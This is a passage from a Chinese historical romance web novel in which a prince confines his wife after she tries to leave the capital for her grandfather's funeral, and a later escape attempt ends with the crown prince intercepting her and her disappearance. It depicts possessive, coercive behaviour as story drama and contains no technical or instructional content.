“我是一定要回鄯州的。外祖死得不明不白,我总要回去看看。”她坚定的眼眸中泛着泪光,“哪怕是见他最后一面,送他最后一程。” 含絮知道她性子执拗,但凡决定的事便没有回头的,只跟着点了点头,“奴婢与阳秋会保护好姑娘的。” “车里什么人!有无路引!”外头神策卫盘问的声音骤然响起。 含絮下了马车,将路引交给神策卫,“永宜侯府, 出城奔丧。” “永宜侯府?”神策卫一听这名字,神色顿时露出些微的古怪,与旁边之人交换了个眼神,而后对着马车恭敬行礼。 “为保证车内并未藏匿逆党,唐突夫人,撩开帷幕容我们探查。” 聂相宜依言照做。 在看到聂相宜面容之后,神策卫似乎已然有了计较,只躬身说道:“还请夫人在一旁暂等片刻。” “为何?”聂相宜看着他,“有路引为证,车内亦并无旁人,还请大人放行。” 神策卫依旧只是一句,“还请夫人暂等。” 聂相宜心中生起疑惑。 “等等。”她狐疑地看着面前的神策卫,“她方才只说我是永宜侯府的人,你为何看也未看,便叫我夫人了?” 神策卫身形微僵,并未回答。 “是谢知派你们来的?” 依旧无人回答她,只是无声地拦在马车面前,不让她离去。 这样无声却强硬的姿态让聂相宜生怒,“你们有何理由拦我?以权谋私的罪名,你们当得起吗!” 诸人依旧不语,就这般与聂相宜僵持住了。 “含絮,让阳秋出来。”聂相宜咬了咬牙,“咱们硬闯!” 神策卫这才面色一变,“神策卫公务,还望夫人慎重!” “公务?”聂相宜冷眼看着他们,“我有路引在此,名正言顺!我便看看谁敢拦我!” 神策卫顿时为难起来。 他们既怕出手伤了聂相宜,又怕聂相宜强闯了出去,没将人留住,两头怪罪。 “阿兕?” 突如其来的温润声音如同救命稻草,总算是缓解了面前剑拔弩张之态。 聂相宜回过头去,是裴珏。 “小裴大人?你怎会在此?” 裴珏轻轻扬唇温和微笑,“方才听说神策卫突发公务,我便前来看看。不想会碰见阿兕妹妹。” 他看了一眼拦着的神策卫,“阿兕妹妹是想出城?” 聂相宜垂首点头,“我想……回鄯州送外祖最后一程。” “节哀。”裴珏微抿起唇,似是思量了一瞬,“开门,放行。” 聂相宜顿时惊讶地瞪大了眼睛。 “小裴大人,这是殿下的命令。若是……” 裴珏瞥了他一眼,“一切后果,由我承担。” 有他这句话,神策卫不再阻拦,只默默让出一条路来。 能不动手顺利出城,自是最好。聂相宜难得地露出笑意,“多谢小裴大人!” “我还是愿意听你叫我子瑛哥哥。”裴珏似是玩笑了一句。 他看着聂相宜俯身上了马车,像是有些欲言又止,“阿兕妹妹,你……” 他想来温和的脸上在此刻露出复杂的神情,“你还会……再回京城吗?” 聂相宜神色一黯,她眸中闪过千般念头,转而却只是轻轻摇了摇头,“这里没有我的家。” 而后她扬起一个明媚的笑来,“欢迎子瑛□□后来鄯州找我玩。” 裴珏脸上有说不出的失落,在看到她笑容的一瞬,又转眼变成了释然。他温和点头,“嗯。一路保重。” 聂相宜放下了幕帷,马车出城门的那一瞬,她的心似乎放下了什么,又似乎空了一块。 她去岁回京,到现在也不过一年而已。中间发生了这般多的事情,竟叫她恍若隔世。 心上好像被勒着一张无形的网,一点点勒进血肉里,带来无言的钝痛。 她想,总会好的。 如果她不曾在此刻听见谢知的声音。 “小裴大人是想将我的妻,放去何处?”谢知的声音带着透骨的寒冷,几欲凝结时间。 “殿下!” 聂相宜猛然撩开幕帷回头望去,于空中撞上谢知的视线。他高坐于马上,马儿信步朝她缓缓驶来。 那如曜石一般的黑眸中带着迫人的气息,无端令人生寒。 那样暗沉沉的眼神好似紧盯着猎物的猛兽,那是一种决不允许逃出掌心的偏执与笃定。 “阿兕,差点就让你逃走了。” 聂相宜第一次对他这般的眼神感到紧张,马蹄一步一步踩在地上发出的哒哒声响如同敲击在心上的鼓点,愈发迫人。 “快走,别管他。”她下意识催促车夫。这样的紧迫让她无端生出一种莫名之感,若是现在不走,便走不了了。 车夫的马鞭刚刚落下,谢知的身影便已然拦在了马车之前。 明明他已经至此,她却仍是不肯停下,想着离开。 他眸色沉沉,一步一步逼近马车。 “阿兕,你还想去哪儿?” 第47章 聂相宜捏紧了衣角,谢知的气场让她无端觉得紧张。在那平静的面容之下,仿佛有不寻常的东西破土而生。 “回鄯州。”她抬起头迎上谢知漆黑的眼,深深吸了一口气,强自压下心头的酸楚,只漠然说道,“外祖已死,殿下只需要在和离书上签下姓名,便可从此以后与我再无瓜葛。” 痴缠了他那么久,被他厌了那么久,也该够了。 “再无瓜葛?”谢知的冷笑如同寒冰淬过般浸出凉意,“知道认错人后,便想与我再无瓜葛么?你想与谁有瓜葛?外头的裴珏?亦或是太子?” “你在说些什么?明明是你……” 聂相宜话还未说完,便被谢知一把攥住了手腕,“你以为一张和离书有用吗?你我是天子赐婚,岂是你一张和离书可抵?” 逼仄的马车内,聂相宜几乎被他俯身逼得贴在车壁之上,他眸中似有火焰燃烧,连呼出的气息也带着滚烫,尽数洒在聂相宜面颊之上。 “那……那你想如何!”聂相宜拧着手腕挣扎,长眉紧蹙。 “跟我回去。” “我不。”聂相宜拒绝得倔强而果断。她转过脸去,不再看谢知,“我要回鄯州。” “殿下。”马车外忽地响起裴珏的声音,声音恳切,“三皇子妃遭遇丧亲之痛,还请殿下开恩,允准她回鄯州奔丧。” 谢知的神色愈发冷厉起来。 他的目光凝视聂相宜许久,而后缓缓放开了她的手腕。 “小裴大人倒是好心。”他撩开幕帷,居高临下地睨着裴珏,“不过小裴大人有何种立场,替我妻说话?” 裴珏语气微微一凝,垂首微抿住唇,“由己及人,只是不忍罢了。” “小裴大人是觉得,我不近人情,不会替我妻着想?” 谢知微眯了眯眼,目光转瞬变得锐利,“小裴大人可知,此去鄯州数千里,路途遥远,又有逆党虎视眈眈,诸多险阻。” “我不怕。”对峙至极,聂相宜却执拗地打断了他,“是我自己想回去的,我不怕。” 这话在谢知眼中,却像是她站在了裴珏那头。他的眼中似有风暴逐渐酝酿,面上却依旧平静得如一潭死水。 “你若还想送外祖最后一程,便随我回去。” 他话中隐约的威胁让聂相宜猛然转头看他,“你什么意思?” 谢知这才缓缓开口,“安西大将军鞠躬尽瘁,恤死报勤。皇上不忍其尸身草草安葬于边地,特地恩准安西大将军于端陵专祠附葬,配享太庙。由安西都尉钟谦岳扶柩回京。” “外祖竟要回京安葬?”聂相宜瞪大了眼睛。专祠附葬的恩典,已是荣宠已极。只是这对于外祖来说,未免折腾与讽刺。 且不说他死因存疑,纵使是自尽,也是因帝王生疑,自证清白而死。如今人死,到像是追思至极,毫无嫌隙一般。 裴珏闻言神色不变,“是我思虑不周,殿下见谅。” “小裴大人僭越。”谢知冷冷看着他,“我之妻,何须你来思虑?” “我已非你妻。” 他话音刚落,聂相宜的声音便从后传来,决绝得仿佛不带一丝感情。 可在转头望向裴珏的时候,她又轻笑了一瞬,“多谢子瑛哥哥。承你今日放行之情,日后当登门拜谢。” 裴珏亦弯眼轻笑,“举手之劳而已。” 好似一旁并无谢知此人。 谢知脸色沉得几乎能拧下水来,他重重放下幕帷,不顾聂相宜的阻拦,只冷声吩咐马夫,“回府。” 看着马车果然掉头回去,聂相宜亦面色不佳,“殿下有何理由替我做决定!” 她倔强地与他对峙,“纵是外祖回京安葬,我也要出城!替外祖扶柩送葬!” “有何理由?”谢知像是冷笑了一声,“聂相宜你别忘了,你我未曾和离,你如今还是我名正言顺的妻。” “和离书我已经……” 谢知忽地神色一变,一把将她按在车壁之上,猛地低头吻住了她。 聂相宜的背被硌得生疼,疾风骤雨般的吻带着泄愤般的啃咬意味,很快便有腥甜 的气息在二人唇间弥漫交缠。 “唔……你放开!”聂相宜死死推开谢知,他俯身的阴影却如同一座山将她笼罩,挥之不去。 唇舌的推拒像是一场交锋。聂相宜紧紧咬着唇,却被谢知强硬地撬开,似乎想要以此来宣布占有她的一切。 “啪!” 直到一记响亮的耳光落在谢知如玉面颊之上。 聂相宜自己亦怔住了。 谢知看似端方矜贵,实则给人的压迫感极强,好似无喜无怒的庙中神佛,何曾有人敢在他面颊之上留下过掌印。 他却毫不在意这一耳光,目光紧紧锁在聂相宜的面颊之上,修长的指尖一点点摩挲着,碾过她殷红似血的唇,声音低哑,似是喃喃。 “阿兕,别想与我和离。你休想。” 聂相宜的掌心仍有些发麻,只红着眼圈看着谢知,“谢知,谋求兵权的是你,说厌我已久的也是你!如今我不再痴缠于你,你合该高兴才是!又何必如此对我!” “我没有。”谢知抚着她的脸颊,轻柔的动作中带着无法逃离的偏执,“是你不信。” 聂相宜兀自别开脸,躲开他的手。 泪光在她眸中闪烁,她却始终倔强地不肯落下泪来,“殿下,在说过那么多话之后,你不会又要告诉我,你其实是真心待我吧。” 她忽地嗤笑,像是自嘲,又像是讽刺,“也对。外祖死了,还有舅父。只要钟家还有人在,我便与他们有关联。正好舅父扶柩进京,也该做给他看了。对吗?” 伤人的话如同细细密密的针,说出口那瞬也扎得自己心口生疼。 谢知的神色陡然变得阴沉,他的下颌紧绷,紧紧咬着牙,暗流涌动的眸中泛着猩红,“你宁信太子,都不信我?” “殿下叫我如何相信!”聂相宜强撑的情绪在此刻终于决堤,崩溃地朝谢知哭喊道。 “话是殿下亲口说的!也是我亲耳所闻!殿下连我母亲的死因都能瞒我至此,我还能信什么?信殿下是真心待我?” 眼泪断线般簌簌落下,又被她倔强地尽数抹去。她的倔强如同一汪即将流逝的水,谁也阻拦不住。 “我答应过外祖,绝不会重蹈母亲的覆辙。”她的神色悲伤却坚定,“谢知,我已决意与你和离。” 谢知握住她的腕骨,捏得死紧。他双目猩红,不复往日云淡风轻之态,一字一顿地说道:“不可能。” 他的声音冷得几欲将人冻住,“你我是父皇赐婚,你若和离,便是抗旨不遵。” 不想他会以皇权压人,聂相宜愤怒地瞪着他,“那又如何?没有这张和离书,我们亦可以大路朝天,各走一边!” 谢知的吻几乎带着气急败坏的疯狂,毫无吝惜地啃咬在她的唇上,像是想以此将她绝情的话尽数缄封于交缠之间。 聂相宜对他又踢又锤,他依旧岿然不动,直至几欲窒息。 回去的路上,马车内的气氛几近凝固,二人一路无言。 待得下马车的时候,聂相宜毫不犹豫地转头欲去自己的宅邸。谢知却死死握住她的手腕不肯放开,强行将她带回了府中。 至此以后,谢知再未出过府邸。 聂相宜亦是。 卧房似乎成了一方囚牢,囚住聂相宜,也牵绊住谢知。神策司的公务亦在此完成,消息来往都由凌竹完成。 他几乎与聂相宜寸步不离,似乎只有这样才能将她留住。 “谢知!你还想关我到什么时候!” 聂相宜本就是耐不住的性子,只觉他是为钟家兵权如此。不觉大发脾气,而谢知却依旧只是沉默相对。 “没关你。”他说道,“你想去哪儿,我可以陪你。” 聂相宜却忿忿的看着他,一字一顿地说道:“我要和离!我不要看见你!” 她说不出来她的愤怒,到底是因之前的事情,还是因近日来被关在笼子里怨怼。 总之长久相对的二人如同一对怨偶。谢知长日的沉默才是常态,两人之间气氛的凝滞几欲让人窒息,却从无破冰之法。 聂相宜想,她要自己想办法逃离。 金丝笼里的蛐蛐是会想法设法逃离的。聂相宜从来就不是会认输的安分性子。 只是在她第六次骑上院墙之后,谢知在院墙下深深望着她,眸色中带着说不出的沉郁。 她从前翻过这院墙是为了见他,而如今,她却是为了逃离他。 “阿兕,你说我是不是该将这院子,建成一座迷宫?” “我受够了!我受够了整日呆在这里!受够了被你看管!”聂相宜坐在院墙之上痛斥他,“我不是你的犯人!” “你若不想离开,我便不会如此。”明明是居高临下的姿态,聂相宜却觉得谢知的气场要强上许多,“下来,我抱你回去。” 他语气平常,却带着不容拒绝的意味。 他越是如此,聂相宜便越是不想顺他的意。她看了看院墙外的谢知,转身朝院墙内跳去。 谢知似乎早知她会如此,还未等她落地,便已然抱住了她。 “谢知你放开我!”聂相宜在他怀中拳打脚踢般地使劲挣扎,却被他牢牢地禁锢住。 “钟谦岳即将回京。”谢知抱着她回到房间,放在锦榻之上。他的目光晦暗,声音沉郁,“如果你还想见到他们,就别再想着离开。” “你用舅父威胁我?”聂相宜眼中满是不可置信的愤怒,她想要起身与谢知对峙,却被他桎梏在榻上,“谢知你变了!你还是从前那个清风霁月的三殿下吗!” “嗯。”谢知只是轻轻嗯了一声,“从前的我是什么样子?端方自持,克己复礼?阿兕,这是你亲手打破的。” 他垂眸看着她,平淡的神色中带着说不出的晦暗,如同将人死死缠住的毒蛇。 “所以阿兕,你怎么可以离开呢。” 第48章 腊月初二的时候,钟岐的棺椁抵京。灵堂设在端陵特修的专祠之内,皇帝特命百官辍朝两日,前去吊唁。 这夜的京城,下了好大一场雪。 天刚蒙蒙亮,聂相宜便站在了城门之前,执意在此迎棺。被谢知困在府中那么久,她已经许久不曾出门了。 谢知依旧跟在她身边,让她觉得自己像是一个被看管的犯人。 说起来,她的处境其实比犯人好上许多。外头时兴的首饰衣衫,新出的话本戏折,好吃的点心佳肴,谢知都会命人为她买回。 若放在从前,聂相宜一定欣喜于谢知如此用心待她。 可如今,一想到这些都只是为了做给舅父的表面功夫,她便觉得无趣与怨怼。 有雪渐渐落在她的肩头,又被身后的谢知伸手拂去。 她回眸默然看了谢知一眼,只拢了拢披风,“今日外祖停灵,殿下实在不必做这些场面。” 谢知的手悬在她肩上片刻,而后收了回去,紧紧蜷在袖中。 不多时,钟灵玉与丈夫薛莫寻也到了城门口。她眼眶通红地看着聂相宜,什么也没说,只是伸手握住了她冰凉的手。 日头升起的时候,聂相宜看见了送葬的队伍远远而来 ,素白一片,如同夜里积起的雪。 她的眼泪忽地便自面颊滚落。无声地,只是一滴滴砸在雪上,融化出一个小坑。 她多么希望看见,迎着熹微晨光进来的,是外祖骑着高头大马的英武身姿,然后笑盈盈地告诉她,一切都是误传。 只是如今他却只是安静地躺在棺木之中,毫无生息。 明明上次自这里送他离开之时,他还活生生地站在自己面前。如今再见,却是天人永隔。 送葬的队伍逐渐近了,她听见一旁的钟灵玉强忍着哭意,叫了一声“父亲”。 她跟着叫了一声“舅父”。 舅父比她离开时,看着沧桑了许多。他看着她俩的模样,微张了张嘴,却是欲言又止,最终只是化为一声叹息。 风吹干了泪痕,冻在脸上刺骨得生疼。聂相宜浑然不觉,神色空洞得如同一缕幽魂。 她们跟在送葬队伍的后面,一同去了端陵。 端陵乃是皇陵,皇帝特许钟岐入葬端陵,又设立专祠,不可谓不重视。 百官早已在此等候,而后皇帝亲临丧仪哭奠,其间追忆往昔征战沙场的岁月,赞其劳苦功高,悲恸不已。 诸人无不赞叹君臣相得,感念钟岐死得其所。 聂相宜只觉讽刺与虚伪。 这些吊唁的文武直至傍晚才渐渐散去。依照旧俗,钟岐的尸身仍需停灵一晚,等得翌日下葬。 “我要为外祖守灵。”聂相宜并不打算与谢知回府。而这次谢知并未阻拦,只是嗯了一声,“我陪你。” 陪?不过是把她当作金丝笼里的蛐蛐罢了。聂相宜只想冷笑。 钟灵玉隐约觉得两人的气氛颇为怪异,不由得上前施以一礼,“殿下,我与父亲想单独与阿兕说会儿话。” 谢知抿了抿唇,最终还是退至门外。 “阿兕,你与殿下……是怎么回事?我怎么听得有传言,说你闹着和离呢?” 聂相宜看着她,神情无比愧疚与难过。她还未说话,眼泪便已然簌簌落下。 “灵玉表姐,是我不好!怪我不听话……是我害死了外祖……”内疚的情绪席卷而来,几乎要将她淹没,“若是我当初不执意嫁殿下,外祖就不会被奸人所害!” 钟灵玉闻言忙去捂她的嘴,低声道:“阿兕!事关重大!不许胡说!” 说着她又觑着四下无人,这才缓缓松开了手。 “阿兕,你怎么知道父亲是为人所害?是谁告诉你的?可是殿下?”钟谦岳皱着眉头问她。 说着他低斥了一句,语气带着些不满,“殿下怎得将这些也说给你听?岂不是置你的安危于不顾?” “是我自己察觉的。”聂相宜只是摇头,目光坚定,“外祖怎么会是轻言自尽的人!” 钟谦岳哑然。 他在鄯州看着这个外甥女长大,自是知道她心思单纯憨直,不懂局势,却不想她会猜到这些。 人人都揣度时局,只有她相信外祖。 钟谦岳长长地叹气,“阿兕,一切未曾定论,切勿外传。” 他的态度让聂相宜愈发笃信外祖的死乃是人祸,不由将心中疑问一股脑全部问出。 “舅父!外祖究竟是怎么死的?究竟是谁害死了他?若有疑窦?为何不禀明皇上?” 因着钟岐的突然身亡,钟谦岳曾经意气风发的脸上平添风霜之感。他脸上的哀痛显得那样无奈,只是默然地摆了摆手。 “事涉夺嫡之争,若无确凿证据,又岂是这般容易叫皇上轻信的。更何况,信与不信,也只在皇上的一念之间罢了。” “是太子?还是殿下?” “三殿下没有动手的理由。”钟谦岳缓缓摇头,“钟家已经与他绑在一起了。” 他虽未曾明言是太子,但钟岐之死,得益最多的便只有他。 “阿兕,你实在无需自责,也无需为此与殿下和离。”钟谦岳看着她,一如慈父,“怀璧其罪。只要钟家兵权在手,便永远逃不过这场斗争。” 聂相宜垂首。他们自是不知,其中还有其他无法言说之由。 她捏着衣角,犹豫片刻后说道:“舅父,当年母亲的死……或亦是遭人谋害……” 钟谦岳眸色陡然震动。 他自小便与这个妹妹关系极好。那时钟岐征战在外,母亲早亡,整个同年,几乎都是他与妹妹相依为命。 他眸中露出狠戾的神色,“是江氏?” 聂相宜点了点头,而后又摇头,“是……贵妃指使江氏所为。” “贵妃?”钟灵玉亦吓了一跳,“怎会是她?她与姨母何干?” “是太子亲口告诉我的。” 钟谦岳紧紧皱起了眉头,“太子为何会告诉你此事?难道是想要以此示好?” 钟灵玉摇头,“他是想离间阿兕与三殿下。若是此事戳破,阿兕与三殿下和离,我们钟家,必定会重新考虑立场。” 聂相宜红着眼圈强忍着眼泪,“可是……殿下亦知晓此事,只是一直瞒着我。” 钟谦岳沉默良久。 聂相宜的话无疑让错综复杂的时局更觉迷雾重重,难以看破。 “阿兕,这些事情非同小可,切勿外传!”他郑重看向聂相宜,“另则,如今风声鹤唳之际,你与灵玉最好呆在京城!他们能在鄯州悄无声息地杀了父亲,说明鄯州已然不安全。斗争残酷,我只怕……护不住你们……” 钟灵玉面色焦急,“那父亲的安危……” “我自会小心。” 翌日卯时,天还未亮,起灵下葬,诸官毕至。 当最后一颗棺钉沉闷地落下,棺椁由太常寺仆役送入地宫之中,聂相宜心中的茫然好像突然有了实感。 从此以后,再没有外祖这个人了。 “外祖!”一直安静的泪在此刻终于决堤,她直奔棺椁而去,嚎啕出声,“不要抛下我!” “闭陵——”随着一声沉重的响声,石门应声而闭。 尘归尘,土归土。 离去的时候,谢知忽地被官员叫住,似乎有事要禀。聂相宜并未等他,只是兀自前行。 她不想回府,不想整日与谢知相对,不想像只被豢养的蛐蛐儿。 可她如今,却不知该去哪里。 “阿兕妹妹。”裴珏忽然叫住了她,声音平和,“节哀。” 聂相宜低低地嗯了一声。 二人亦步亦趋,一同往陵园外走去。 “阿兕妹妹瘦了许多。” 聂相宜只是勉强朝他笑笑,“遭逢变故,人之常情罢了。” “我听说,阿兕妹妹似乎……想要与殿下和离。” 听他提起这个,聂相宜不知该说些什么,只是沉默地点了点头。 裴珏轻轻微笑,“我猜殿下不肯。” 连他也知道谢知为了钟家兵权不肯和离。聂相宜垂眸不语。 “皇室宗亲,但凡和离,需得户部销籍,又需神策司印鉴。”裴珏说道,“最重要的是,妹妹是皇上赐婚,还需得皇上亲口允准,方才能和离。” 裴珏的话让聂相宜觉得自己仿佛像一只被拴上了锁链的鸟,似乎哪儿也去不了,乖乖呆在笼子里才是她最终的宿命。 “一纸和离书而已。”聂相宜的眼神倔强得不肯服输,“心不在此,强留也是无用。” 她的话让裴珏眼眸泛起亮光,不由得偏过头问她,“阿兕妹妹还想回鄯州吗?” 聂相宜有些茫然。 她想回鄯州,是因为鄯州有外祖。可如今外祖去了,舅父也说鄯州危险,让她安心呆在京城。 她摇了摇头,“不回鄯州。” 可是,难道就要这样呆在谢知身边,与他长久地怨怼下去吗? 这样的日子让她厌倦又疲惫。 “也不想留在这儿。” 裴珏却定定地看着她的眼睛,忽然说道:“阿兕妹妹想要离开的话,我可以帮你。” 他不是不知道谢知的动向。 接连一月以来,闭门不出。就连公务也是凌竹代为传达。于此同时的,他亦从未再见过聂相宜。 这次丧仪再见她时,她已如同一朵即将枯萎的花,眸中早已失去了从前那般旺盛又坚强的生命力。 若非今日他命手下官员绊住谢知的脚步,只怕连与她的话也说不上一句。 他知道,谢知将她当做了可以豢养的鸟雀。 但她明明是山野的猫。 谢知冷眼看着二人一同朝着陵园外走去,神色陡然一沉。本欲上前,却被眼前的官员绊住,不觉眉头一皱,冷声斥道:“我现在没空听你扯闲篇。” 在那官员怔然 的神情中快步上前。 而裴珏看着聂相宜怔怔的神情,重复而坚定地说道:“若你想要离开,我可以帮你。” 聂相宜眼眸闪过一瞬的光芒,而后又变得茫然,“可我能去哪儿呢……” 外祖没了。家也没了。她回不去鄯州,也离不开京城。 还能去哪儿呢。 “阿兕妹妹如果信得过我的话,我有一个好去处。”裴珏忽地弯眼一笑。 “头七回魂那日,我在此等你。” 第49章 七日后回魂夜?聂相宜刚还想问些什么,便听到身后谢知的声音冷冷地传来。 “阿兕,该回家了。” 他强硬地拉着聂相宜的手上了马车,目光沉郁而晦暗,“阿兕,你们都说了些什么?” 聂相宜甩开他的手腕,冷笑一声,“殿下连这等琐事都要管吗?” “你们聊得很开心。”谢知一字一顿地说着这个事实。 他揽过聂相宜的腰,将她禁锢在自己怀中,强行让她与自己对视,“与他便能言笑晏晏,对我便无话可说,对吗?” 也是,她大概本就喜欢这般温润如玉的人。当年上元节的太子是如此,如今的裴珏也是如此。 心中的占有欲如同巨兽,在他自私而卑劣的喂养中一天天壮大。她却对此毫无知觉。 可越是如此,他就越有一种留不住她的慌乱与惶恐,只能以强横手段将她留下。 可她就会愈发生厌。 如同陷入一个怪圈,来来回回找不到方向。 聂相宜心中生恼,声音不觉提高了许多,“与小裴大人何干!殿下将我关在府里也就罢了!连话也不许我与旁人多说一句!我在殿下眼里,究竟算个什么东西!” 激动的语气让她眼眶逐渐泛红。谢知听着她字字控诉,语气平静却不容置疑,“谁都可以,裴珏不行。” 他抿了抿唇,又补充道:“还有太子。” “为何不能?”聂相宜依旧与谢知对峙,“我在京中旧识本就不多!” 太子也就罢了,本不是什么好东西。小裴大人如何也不能。 “他们心思不纯。” 这话让聂相宜忽觉荒谬得有些可笑。他为了钟家兵权谋算至此,竟也会说这些。 “那殿下呢?又比他们好上几分?”她目光灼灼地看着谢知,“殿下与我成亲,困我至此,其中种种,又可称得上得一句单纯?” 谢知语气一滞。当日即使他早知她认错了人,却依旧将错就错,请得父皇赐婚,她终究是怨的。 见他不语,聂相宜抬眸与他对视,言辞激烈,“还是说殿下自小便被人抢怕了,所以连我也怕被人抢去!” 谢知眸色一黯,刚要说话,聂相宜却继续说道:“殿下这么多年隐忍的占有欲,是要尽数在我身上体现么!” 腰上的力道陡然紧缩,几欲勒得聂相宜透不过气来。谢知的眸中好似有压抑着黑沉沉的风暴,“阿兕,你知道你在说什么吗?” 聂相宜的话,无疑是朝着他内心最隐秘之处狠狠扎了一刀。她不是个聪明之人,看不清时事变幻,却总能这样了解他们。 什么云淡风轻,什么无欲无求,不过是在大人们的偏心之中,日复一日的隐忍与克制。受尽偏爱的太子大概永远不懂,他的冷漠自持来源于何处。 他唯一的破绽,大概就是没能克制自己对聂相宜的喜欢。 他只有她了,怎么能放手呢。 聂相宜却只是直直地对上谢知的眼眸,“殿下,我不是你的物件。” 谢知对她的占有欲,大概与那些被抢走的物件没什么区别。 也许不同的是,这次为了兵权,他不能让。 她心中说不出的失落与难过,明明是那样似皎皎明月的矜贵公子,竟也能为了兵权困她至此。 可她不是一个象征兵权的符号,也不是象征三皇子妃的皇室吉祥物,她依旧是那个叛逆难驯的聂相宜。 谢知张了张嘴,却不知该说些什么。 他依旧只是紧紧地将她禁锢在怀中,不曾放手,“我从未将你当作物件。” “那殿下会允我和离么?” “阿兕,别再说这两个字。”谢知的眸中忽然有浓浓的疲惫之色,他缓缓闭上眼,与聂相宜交颈相拥。 他的声音沙哑,带着几不可察的祈求,“就当是我求你。” 聂相宜沉默不语。 等到头七那日,聂相宜与谢知一同前往陵前祭拜。她左顾右盼,却不见裴珏。也不知那日他口中所说,是否真假。 祭礼未完,宫中便有人前来通传,皇帝有要事宣谢知入宫觐见。 不知为何,谢知临走之前忽地回头看向聂相宜,眸色深深,“阿兕,你会等我回来的,对吗?” 聂相宜别开眼眸,并未回答他。 待得祭礼完成,聂相宜与钟灵玉等人告辞离去。刚出端陵,一辆马车停在她的面前,裴珏撩开幕帷,朝着她温和微笑。 “阿兕妹妹,我带你离开。” 聂相宜回眸望了一眼,目光没有方向。她似乎犹豫了一瞬,而后深深吸了一口气,提着裙摆上了马车。 “殿下是你支走的?” 裴珏并未否定,“前些天在神策司故意出了些纰漏,今日刚好叫皇上发现罢了。” 就这样离开,聂相宜心中却似乎多了些茫然。 她明明早已决定离开,在踏上马车的一瞬,心中不知从而何来,忽地生出不舍与不忍。 谢知那日脆弱疲惫的模样,无端出现在她脑海。 她捏了捏衣角,迫使自己不再去想这些。只看着裴珏问道:“殿下会怪罪你吗?” 裴珏忽然转过头看着她,弯着眼睛轻笑,“如果我说会的话,阿兕妹妹会多心疼我一些吗?” 他温润的目光中带着许多说不清道不明的情愫,交织在一起,直直撞入聂相宜眼帘。 她焉地像是明白了什么。 聂相宜只能慌乱地避开他的视线,他注定得不到回应。 “玩笑而已。”裴珏像是无声地轻叹,而后十分熨帖地转移了话题,“我出身裴家,殿下自是不会对我所有苛责。阿兕妹妹不必担心。” 聂相宜扬唇笑笑,将此事揭过。她看着马车疾驰而过,问道:“我们现在要去哪里?” 裴珏笑容带着些故弄玄虚的神秘,“你去了便知道了。” 她却有些迟疑,马车正飞快往城外的方向驶去,“舅父说……我最好不要离开京城,否则有危险。” “放心,不出京城。”他神色笃定,“但也保证你一定不会被殿下发现。” 他这样说,倒是愈发让聂相宜好奇起来。 两人正有一搭没一搭地闲聊,马车却忽地戛然而止,聂相宜一个不稳,趔趄朝前跌去,裴珏眼疾手快,拿手护住她的额头。 “出来吧。” 陡然响起的声音让聂相宜与裴珏的脸色皆是骤然一变。裴珏掀开幕帷,面前一辆马车横挡住二人的去路。 只见太子端坐于内,整个人被笼罩在马车的阴翳之中。他扬唇轻笑,“小裴大人,你可听说过,螳螂捕蝉,黄雀在后啊?” 裴珏面颊温和的微笑一点点敛起。 “谢知整日溺于府中,你那点纰漏,瞒得过他,可瞒不过我。”谢承忻歪着头看向他,唇角笑容逐渐放大,“我就说呢,向来严谨缜密的小裴大人,怎么会出这种差错。原来是私奔。” “殿下慎言。” “哦?”谢承忻挑眉,“不是私奔?那便是诱拐皇子妃了?” 裴珏只是面容冷峻地看着他,并未被他牵着鼻子走,“殿下至此,有何要事吗?” 谢承忻亦不与他废话,“交出聂相宜。” “看来并非是我诱拐皇子妃,是殿下想要强夺弟妻了。” “强夺?”谢承忻像是听了个笑话,“聂相宜本该嫁我。我与她有指腹为婚的姻亲,又有一见如故的缘分。是谢知,使计抢了我的。” 他沉沉的目光落在裴珏的身后,“聂姑娘,你说呢?” 聂相宜不知他何来的这般底气。她虽怨恼谢知,却更是对面前有可能杀了自己外祖的谢承忻厌恶至极。 “我凭什么就该嫁你?殿下又何曾抢过你的?” 谢承忻笑容凝滞了一瞬,而后那笑容逐渐变得阴郁而鬼气,“你被他蒙骗了。你喜欢的,本该是我。” 有谢承忻在此阻拦,裴珏知道今日是走不了了。但他亦知,绝不能让谢承忻将聂相宜带走。 当下只有两条路可走。 他转头看向聂相宜,低声问道:“阿兕妹妹,是等三殿下前来相救,还是冒险一试?你自己做决定。” 聂相宜捏紧了衣角,却坚定地摇了摇头,“我不想等人来救。” 裴珏似乎早便料到她会这么选,于是下了马车,躬身看向太子,“太子殿下别忘了,她如今还是名正言顺的三皇子妃。” “所以她与你没关系。”谢承忻像是懒得与他废话,“将聂相宜交出来吧。不然,我便动手了。” 数个暗卫转瞬出现在马车周围,与裴珏携带的家丁对峙。他拦在太子的马车前,“恕难从命。” 他知道,至少在明面之上,太子还不敢对他动手。 说着只听得马车骤然而起,转瞬之间掉头离去。 “快追!” 这些家丁虽不是暗卫的对手,却能稍稍阻拦一二。阳秋不知从何处从天而降,趁乱拖延战机。 马车疾驰而去。 谢承忻只是冷笑,“小裴大人,你不会真以为,光凭这几个家丁,便能拦得住我的暗卫吧。” 当谢知听到聂相宜再次离开的消息时,心中说不出是何滋味。 他的指尖紧紧蜷着,指甲陷入掌心,几欲滴血。 他不是不知道裴珏故意留下的纰漏。 聂相宜那日的控诉让他想着,也许应该放开她些,这样在她面临选择的时候,也许会为自己停留。 他在赌。赌一个渺茫的希望。 她却还是毫不犹豫地离开了他。 城门都被他封死了,没有他的命令,谁也不能离开。 但他没想到太子竟是其中的变数。谢承忻居然在城内,也敢这样大张旗鼓地动手。 他就知道,不该放她走的。该将她生生世世都锁在自己身边,片刻不离地保护她。 可当他匆匆策马赶去时,循着马车慌乱的踪迹寻找至一处小巷,这里一片狼藉。 聂相宜不知所踪,马车侧翻着停在巷口,泥泞的巷内四处散步着杂乱不堪的脚步,脚步的尽头,只有一滩鲜红的血。 第50章 “殿下,周围……并未找到夫人。”凌竹带着神策卫四处搜寻回来时,神色几乎带着从未有过的紧张。 殿下与夫人之间发生的事,他亦有所知觉。如今夫人随小裴大人离开,又遭遇此事下落不明,地上的血迹或许还带着生死未卜的预兆。 想来清冷淡漠的殿下,第一次露出浓重的杀意。 谢知面色愈发沉冷,气氛带着浓重的压抑,“全城搜!任何角落都不许放过!” 他转身看向裴珏,眼神中带着警告,“裴珏,既然保护不了她,就别逞能当英雄。” 裴珏目光凝在那滩殷红的血迹之上,袖中紧紧握拳,神色不明。 “诱拐皇子妃,裴珏,这个账,我日后再与你清算。”他面容冷峻地转身,一言不发地去了东宫。 “一群废物。”谢承忻看着面前跪着的莫九,眉眼低压的阴翳让他本就苍白的脸看起来越发诡谲。 “连个手无缚鸡之力的弱女子都捉拿不住,要你们有何用?” 